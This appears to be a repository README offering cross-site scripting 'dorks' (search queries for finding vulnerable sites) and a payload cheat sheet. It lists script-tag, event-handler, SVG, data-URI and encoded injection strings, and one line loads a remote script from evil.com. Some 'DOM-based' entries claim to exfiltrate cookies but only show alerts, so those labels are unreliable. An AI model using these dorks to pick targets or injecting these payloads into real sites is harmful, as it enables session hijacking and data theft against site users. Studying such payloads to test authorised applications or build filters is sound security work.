Welcome to the Cross-Site Scripting (XSS) Dorks repository! This repository contains a collection of XSS dorks and an explanation of what XSS is, along with advanced examples of XSS dorks.
- What is Cross-Site Scripting (XSS)?
- Examples of Cross-Site Scripting (XSS) Dorks
- Understanding XSS
- Advanced XSS Concepts
- Comprehensive Cross-Site Scripting (XSS) Payloads
- Exploring the GDorks Main Repository
- How to Use This Repository
- Contributing
Cross-Site Scripting (XSS) is a security vulnerability found in web applications that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute within the browser, compromising user sessions, stealing data, or redirecting users to malicious sites.
Here are advanced examples of Cross-Site Scripting (XSS) dorks that illustrate various attack vectors:
-
Tag XSS Dork: This dork can be used to identify websites vulnerable to XSS using the
<img>
tag.inurl:/profile.php?username=<img src="javascript:alert('XSS')" />
-
Event Handler XSS Dork: Identifies websites vulnerable to XSS through event handler attributes.
inurl:/news.php?id=1" onmouseover="alert('XSS')"--
-
Script Injection through Input Fields: Detects websites susceptible to XSS via input fields.
inurl:/search?query=<script>alert('XSS')</script>
XSS payloads come in various forms and contexts, allowing for diverse exploitation scenarios. Below are examples of XSS payloads in different formats, contexts, and encodings, enabling the demonstration and testing of XSS vulnerabilities:
-
Basic Alert Payload:
<script>alert('XSS')</script>
-
Image Source Payload:
<img src="javascript:alert('XSS')" />
-
Input Field Payload:
<input type="text" value="<script>alert('XSS')</script>" />
-
Event Handler Payload:
<div onmouseover="alert('XSS')">Mouse over me</div>
-
Encoded Payloads:
- Basic Alert Payload encoded as URL:
%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
- Base64 encoded Payload:
PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
- Basic Alert Payload encoded as URL:
-
SVG-based Payloads:
<svg onload="alert('XSS')" />
<svg><script>alert('XSS')</script></svg>
-
URL Payloads:
- URL payload as a query parameter:
http://example.com/?name=<script>alert('XSS')</script>
- URL payload as a query parameter:
-
Image Payload with Invalid Source:
<img src="invalid" onerror="alert('XSS')" />
-
Data URI Payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click me</a>
-
DOM-based Payloads:
- Using document.cookie to exfiltrate cookies:
';alert(String.fromCharCode(88,83,83))//'
- Using location.href to exfiltrate the URL:
';alert(document.location)//
- Using document.cookie to exfiltrate cookies:
-
HTML Event Payloads:
- XSS via onerror attribute:
<img src="test" onerror="alert('XSS')" />
- XSS via onfocus attribute:
<input type="text" onfocus="alert('XSS')" />
- XSS via onload attribute:
<body onload="alert('XSS')" />
- XSS via onerror attribute:
-
Script Tag Payloads:
- Embedding scripts as part of the content:
<script>alert('XSS')</script>
- Executing scripts from the URL parameter:
<script src="http://evil.com/malicious.js"></script>
- Embedding scripts as part of the content:
Feel free to use these payloads to test for XSS vulnerabilities in web applications. Always ensure you have proper authorization and consent before performing any security testing.
Keep in mind that these examples are for educational purposes, and using them for unauthorized testing or exploitation is strictly prohibited.
XSS vulnerabilities can have severe implications, including data theft, session hijacking, and unauthorized access. Understanding the different types of XSS and employing secure coding practices can help prevent such vulnerabilities.
Advanced XSS involves bypassing filters, utilizing different encoding techniques, and exploiting client-side vulnerabilities. Techniques include DOM-based XSS, circumventing Content Security Policy (CSP), and using JavaScript obfuscation to evade detection.
The GDorks repository is a rich resource housing an extensive collection of XSS dorks, categorized folders, and comprehensive documentation covering various XSS attack vectors and methods. It's an invaluable resource for learning and protecting against XSS vulnerabilities.
This repository is organized into folders, each containing specific XSS dorks and related information. Users can browse through the folders to explore XSS dorks of interest.
To contribute to this repository, follow the steps outlined in the Contributing section.
Contributions to this repository are welcome! If you have additional XSS dorks, examples, or documentation to share, please follow these steps:
- Fork the repository.
- Create a new branch with a descriptive name.
- Add your XSS dorks or other content.
- Submit a pull request.
Your contributions will help make this repository more comprehensive and informative for the community.